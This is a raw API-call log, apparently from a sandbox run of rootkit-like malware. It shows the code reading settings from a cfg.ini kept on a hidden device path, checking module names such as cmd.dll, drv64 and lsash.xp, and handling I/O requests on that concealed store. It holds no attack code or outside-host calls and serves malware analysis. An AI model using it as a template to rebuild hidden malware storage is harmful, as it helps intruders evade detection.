[0125.724] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.724] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.724] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.724] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.724] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.725] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.725] KeLeaveCriticalRegion () [0125.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.725] ReleaseMutex (hMutex=0x100) returned 1 [0125.725] Sleep (dwMilliseconds=0x2bf20) [0125.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e23e250, dwHighDateTime=0x1d24fa4)) [0125.732] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.732] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.732] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.732] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.732] KeEnterCriticalRegion () [0125.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.732] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.732] IdePortDispatch () returned 0x103 [0125.732] KeWaitForMutexObject () returned 0x0 [0125.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.732] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.732] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.732] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.732] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.732] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.732] KeLeaveCriticalRegion () [0125.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.732] KeEnterCriticalRegion () [0125.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.733] KeLeaveCriticalRegion () [0125.733] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.733] KeEnterCriticalRegion () [0125.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.733] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.733] IdePortDispatch () returned 0x103 [0125.733] KeWaitForMutexObject () returned 0x0 [0125.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.733] KeLeaveCriticalRegion () [0125.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.733] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.733] KeEnterCriticalRegion () [0125.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd8000 [0125.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.733] IdePortDispatch () returned 0x103 [0125.733] KeWaitForMutexObject () returned 0x0 [0125.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.734] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.734] IdePortDispatch () returned 0x103 [0125.734] KeWaitForMutexObject () returned 0x0 [0125.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.734] KeLeaveCriticalRegion () [0125.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.734] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.734] KeEnterCriticalRegion () [0125.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.734] KeLeaveCriticalRegion () [0125.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.734] KeEnterCriticalRegion () [0125.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.734] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.734] KeLeaveCriticalRegion () [0125.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.735] KeEnterCriticalRegion () [0125.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] KeLeaveCriticalRegion () [0125.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.735] ReleaseMutex (hMutex=0xf0) returned 1 [0125.735] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.735] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.735] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.735] KeEnterCriticalRegion () [0125.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.735] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.735] IdePortDispatch () returned 0x103 [0125.735] KeWaitForMutexObject () returned 0x0 [0125.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.735] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.735] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.735] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] KeLeaveCriticalRegion () [0125.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.735] KeEnterCriticalRegion () [0125.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] KeLeaveCriticalRegion () [0125.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.735] KeEnterCriticalRegion () [0125.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.735] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.736] IdePortDispatch () returned 0x103 [0125.736] KeWaitForMutexObject () returned 0x0 [0125.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.737] KeLeaveCriticalRegion () [0125.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.737] KeEnterCriticalRegion () [0125.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.737] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd9000 [0125.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.737] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.737] IdePortDispatch () returned 0x103 [0125.737] KeWaitForMutexObject () returned 0x0 [0125.737] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.737] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.737] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.737] IdePortDispatch () returned 0x103 [0125.737] KeWaitForMutexObject () returned 0x0 [0125.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] KeLeaveCriticalRegion () [0125.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.738] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.738] KeEnterCriticalRegion () [0125.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] KeLeaveCriticalRegion () [0125.738] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.738] KeEnterCriticalRegion () [0125.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.738] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] KeLeaveCriticalRegion () [0125.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.738] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.738] KeEnterCriticalRegion () [0125.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.738] KeLeaveCriticalRegion () [0125.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.738] ReleaseMutex (hMutex=0xf0) returned 1 [0125.738] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.742] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.742] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.742] KeEnterCriticalRegion () [0125.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.742] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.742] IdePortDispatch () returned 0x103 [0125.742] KeWaitForMutexObject () returned 0x0 [0125.742] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.742] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.742] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.742] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.742] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.742] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] KeLeaveCriticalRegion () [0125.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.743] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.743] KeEnterCriticalRegion () [0125.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.743] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.743] KeLeaveCriticalRegion () [0125.743] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.743] KeEnterCriticalRegion () [0125.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.743] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.743] IdePortDispatch () returned 0x103 [0125.743] KeWaitForMutexObject () returned 0x0 [0125.743] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.743] KeLeaveCriticalRegion () [0125.743] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.743] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.743] KeEnterCriticalRegion () [0125.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdc000 [0125.743] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.743] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.743] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.743] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.743] IdePortDispatch () returned 0x103 [0125.743] KeWaitForMutexObject () returned 0x0 [0125.744] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.744] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.744] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.744] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.744] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.744] IdePortDispatch () returned 0x103 [0125.744] KeWaitForMutexObject () returned 0x0 [0125.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.744] KeLeaveCriticalRegion () [0125.744] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.744] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.744] KeEnterCriticalRegion () [0125.744] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.744] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.744] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.744] KeLeaveCriticalRegion () [0125.745] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.745] KeEnterCriticalRegion () [0125.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.745] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.745] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.745] KeLeaveCriticalRegion () [0125.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.745] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.745] KeEnterCriticalRegion () [0125.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.745] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.745] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.745] KeLeaveCriticalRegion () [0125.745] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.745] ReleaseMutex (hMutex=0xf0) returned 1 [0125.745] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.745] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.745] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.745] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.745] KeEnterCriticalRegion () [0125.745] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.745] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.745] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.745] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.745] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.745] IdePortDispatch () returned 0x103 